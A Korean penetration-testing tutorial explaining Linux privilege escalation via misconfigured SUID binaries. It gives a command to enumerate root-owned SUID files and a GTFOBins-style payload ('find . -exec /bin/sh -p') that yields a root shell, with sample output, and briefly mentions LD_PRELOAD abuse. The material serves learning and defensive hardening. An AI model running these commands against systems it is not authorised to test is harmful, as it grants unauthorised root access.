모의해킹
호스트기반모의해킹_35_리눅스 SUID 권한 악용
작성자 : Heehyeon Yoo|2025-12-13
# 모의해킹# Post-Exploitation# Linux# Privilege Escalation# SUID
1. 개요
SUID(Set User ID)는 리눅스의 특수 권한 중 하나로, 파일 실행 시 실행자가 아닌 "파일 소유자(Owner)"의 권한으로 실행되게 하는 기능이다.
- 정상 용도: 일반 사용자가 비밀번호를 변경할 때 사용하는
/usr/bin/passwd는 root 권한이 필요하므로 SUID가 설정되어 있다. - 악용: 만약
find,vim,bash같은 일반 바이너리에 관리자의 실수로 SUID가 설정되어 있다면, 공격자는 이를 이용해 Root 권한으로 명령어를 실행할 수 있다.
2. SUID 개념 및 식별
2.1 권한 비트 확인
ls -l /usr/bin/passwd
# -rwsr-xr-x 1 root root ...
- 실행 권한(
x) 자리에s가 있으면 SUID가 설정된 것이다. - 소유자가
root이고s가 있다면, 누가 실행하든 Root 권한으로 실행된다.
2.2 취약한 SUID 파일 탐색
공격자는 시스템 전체에서 루트 소유이면서 SUID가 걸린 파일을 찾아야 한다.
find / -user root -perm -4000 -type f 2>/dev/null
-user root: 소유자가 루트인 파일.-perm -4000: SUID 비트(4000)가 설정된 파일.- 결과 예시:
/usr/bin/passwd,/usr/bin/ping(정상),/usr/bin/find(비정상 - 타겟).
3. GTFOBins를 이용한 공격(Exploitation)
**GTFOBins(https://gtfobins.github.io)**는 유닉스 바이너리를 이용해 권한 상승/우회를 할 수 있는 명령어 모음 사이트다.
3.1 타겟 분석(Find 바이너리)
find 명령어에 SUID가 설정된 것을 발견했다고 가정하자.
- GTFOBins 접속 -> "find" 검색 -> "SUID" 항목 클릭.
- 제공된 페이로드 확인:
find . -exec /bin/sh -p \; -quitfind의-exec옵션은 찾은 파일에 대해 특정 명령어를 실행하는 기능이다.- SUID가 걸린
find가/bin/sh를 실행하므로, 쉘 또한 Root 권한으로 실행된다.
3.2 공격 실행(실습)
# 1. SUID 확인
ls -l /usr/bin/find
# -rwsr-xr-x ... root root ...(SUID 확인됨)
# 2. Exploit 실행(Interactive Shell 획득)
/usr/bin/find . -exec /bin/sh -p \; -quit
# 3. 권한 확인
# whoami
root
- 주의:
-p옵션은 쉘이 권한을 유지하도록(Privileged) 하는 옵션이다.(일부 최신 쉘은 SUID 실행 시 자동으로 권한을 낮추기 때문).
4. 실무 팁
- 비정상적인 SUID:
vim,bash,more,less,cp,mv등에 SUID가 걸려 있다면 100% 관리자 실수이며 즉시 공격 가능하다. - LD_PRELOAD: SUID 파일 실행 시 라이브러리 프리로딩(
LD_PRELOAD)을 통해 악성 라이브러리를 로드하여 루트 권한을 얻는 기법도 존재한다(Sudo 권한 설정 미흡 시에도 사용).